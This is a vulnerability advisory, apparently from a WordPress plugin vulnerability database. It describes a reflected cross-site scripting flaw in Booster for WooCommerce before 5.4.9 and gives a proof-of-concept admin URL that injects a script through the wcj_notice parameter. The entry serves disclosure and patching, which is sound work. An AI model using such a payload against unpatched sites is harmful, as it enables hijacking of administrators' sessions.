WordPress Plugin Vulnerabilities

Booster for Woocommerce < 5.4.9 - Reflected Cross-Site Scripting in PDF Invoicing Module

Description

The plugin does not sanitise and escape the wcj_notice parameter before outputting it back in the admin dashboard when the Pdf Invoicing module is enabled, leading to a Reflected Cross-Site Scripting

Proof of Concept

With the PDF Invoicing module active:

https://example.com/wp-admin/edit.php?post_type=shop_order&paged=1&generated=1&generated_type=invoice&generated_invoice=1&post_status=all&wcj_notice=<script>alert(/XSS/)</script>

Affects Plugins

Fixed in 5.4.9

References

Classification

Type
XSS
CWE
CVSS

Miscellaneous

Original Researcher
Jeremie Amsellem
Submitter
Jeremie Amsellem
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2021-12-01 (about 2 years ago)
Added
2021-12-01 (about 2 years ago)
Last Updated
2022-04-09 (about 2 years ago)

Other